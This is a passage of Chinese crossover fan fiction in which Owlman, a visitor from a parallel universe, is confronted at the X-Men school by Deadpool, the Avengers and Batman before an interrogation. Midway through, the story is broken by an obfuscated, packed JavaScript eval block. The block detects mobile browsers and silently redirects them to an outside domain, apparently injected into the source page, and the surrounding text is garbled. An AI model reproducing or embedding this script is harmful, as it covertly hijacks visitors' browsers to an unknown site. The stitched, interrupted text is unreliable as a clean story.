女教师始终盯着我,她面色青白,指尖发抖,是在害怕。有些经历过的人会对危险更敏感,我不想宽慰她或是证明她的担忧实有道理。这不是我的责任,而都该归咎于X教授的粗心大意。他明知道我是谁,却居然敢于相信我的自控力,放任我和他护在翅膀下的鸡崽们挤在同一张屋檐下。 他从哪获得的信心?从我脑海当中那点贫瘠的、色调统一的记忆中吗? 这不禁让我觉得哪怕以辛迪加的能力也可以在这个宇宙搞到点好处。蝙蝠侠与死侍的插手让我的异世界之旅一不小心拖延得久了点,我的那些时常缺乏决断能力的同事们八成已经下定决心与卢瑟合作了,所以此刻必须尽快决定下一步计划——究竟是趁机向这个宇宙的超级英雄投诚,还是找借口糊弄住超霸与超女王,再和他们从这个陌生的世界捞上一笔? 老实说,我对这两个选项全都没什么兴趣,第一条未免丧失主动权,可能过了很久都不得自由,第二条又稍显无聊,还有翻车风险。几天前我想过要是蝙蝠侠杀人,我不介意给他一个证明当年是他更值得活下去的机会。但那也只是想一想罢了,几天后我甚至开始憎恶这个宇宙,它让我感到熟悉,却是个我从未见过、而且使我显得像个货架上的长毛鸡蛋的地方。 “嘿宝贝,你脸色不太好,是在担忧以后考试不及格和金刚狼一起留级,还是被同班同学写进带着肉戏的言情小说?” 一个最近快要刻在DNA里的声音从窗外传来打断了我的思绪。死侍趴在教室窗户上,噼里啪啦地拍打着车窗,对教室里闻声包围过来的孩子们视若无睹,坚持在未成年面前讲垃圾话:“我打赌你不用露脸,能凭借制服、身材和声音成为这堆脑子里塞满裸·体的小屁孩心中的性幻想对象……你!我看到你脸红了!你肯定已经想过了,我说准了是吧,你这个下流的、有眼光的——” “死侍。”我这辈子打断别人说话的机会可能都要浪费在韦德身上了,“你到底有什么事?” “我来看看你是真的在上课,还是被邪恶变种人关在城堡底下成了一坨猫头鹰标本,别怪我没提醒你,X教授的脑控能力非常、极其的有趣,你不会想体验自以为是株蘑菇的感觉的。”死侍停顿了一下,忽地加快语速,“还有我是来通知你,复仇者联盟与蝙蝠侠已经到了,夜枭。无论愿不愿意,你总得经历这一遭。” ** 死侍不怎么意外地看到,窗前那道刚才还很放松的影子一下变得黑沉阴郁起来,活像假期时被突如其来的加班消息揍了一拳。夜枭的身份在这个宇宙是个死结,从他降临到哥谭的那刻起就注定很难得到好的结果。命运向来是艹蛋的,不过不管怎么说,他即将面临的好歹是一群超级英雄。 “你别想着跑路。”死侍小声说,“这回不比上次,他们开始玩真的了,学校外面是全副武装的、由山姆·莱恩率领的军队,X战警和复仇者联盟负责把守秩序。听起来有点奇怪,但莱恩将军实际上是超人的老丈人,你杀他简单可他只要按下那个能滴滴作响的打火机……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064617|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“蝙蝠侠呢?”夜枭打断他问道,“我总能奢求点俘虏待遇吧?” “蝙蝠侠也来了。”死侍身后的钢力士回答,“他是唯一一个参加会议的正义联盟成员,你有什么其他想法可以提出来。” “我感到很荣幸。” 夜枭一动不动地站着,任由钢力士把一个预防变种人犯罪的特制手铐扣在他的手腕上,刚才课堂上认识的变种人小孩们怯怯地旁观,没过几秒钟就被赶过来的成年人轰大鹅似的轰走。 “抱歉,这是必要的防范手段。” “你们没必要如临大敌。”被团团围住的平行宇宙来客显得很轻松,“我没有超能力。” “我们看到了你和蝙蝠侠的战斗过程。” 夜枭嘴角翘起来,略显轻蔑地说:“那只能说明他也是个普通人。” 他加快脚步走在钢力士前面,主动往超级英雄们的集会地点走去。 这是个椭圆形的会议室,环形阶梯座位比中央地区地势高,有点类似体育场或大学教室。到场的超英并不多、零星分布在空旷的房间中,几个军方人员摆弄着设备窃窃私语,蝙蝠侠站在最后排的最高处,漆黑的披风与背景墙融为一体,乍看过去很容易被忽略掉。 夜枭进门后却率先往那瞥了一眼,又确认了武力值最高的几个人所在的位置,然后径直来到中央空地上唯一的椅子前坐下。 会议室瞬间变得肃静,有一名军官点开了放在手边的录像装置,除了设备运行时的沙沙声以外,场地中针落可闻。这个宇宙具备着不可与平行世界接触的特殊性,导致此前每次与外界来客相遇的过程都极其短暂。很多时候众人还没意识到外人来过,奇异博士就已经靠着口头说服或物理说服把人清回老家了。 夜枭成了特殊的那个,不是因为他的身份,而是他的来历。 此刻奇异博士有别的事不在场,莱恩将军作为官方人物代表挑起大梁。他说:“夜枭,我们需要确定你……” “等等。”被荷枪实弹指着的人竖起右手食指打断他,接着把两只移动角度有限的手交叉着合拢有条不紊地说道,“我要求与蝙蝠侠一个人对话,任何除他以外的人在场我都不会说出你们想了解的内容。” 蝙蝠侠没有动,莱恩将军也未回头:“想得很好,小子,但我愿意在这与你废话,并不代表我们没有审讯手段,你想试试看吗?” 夜枭脸上笑容不变。 “请。”他说。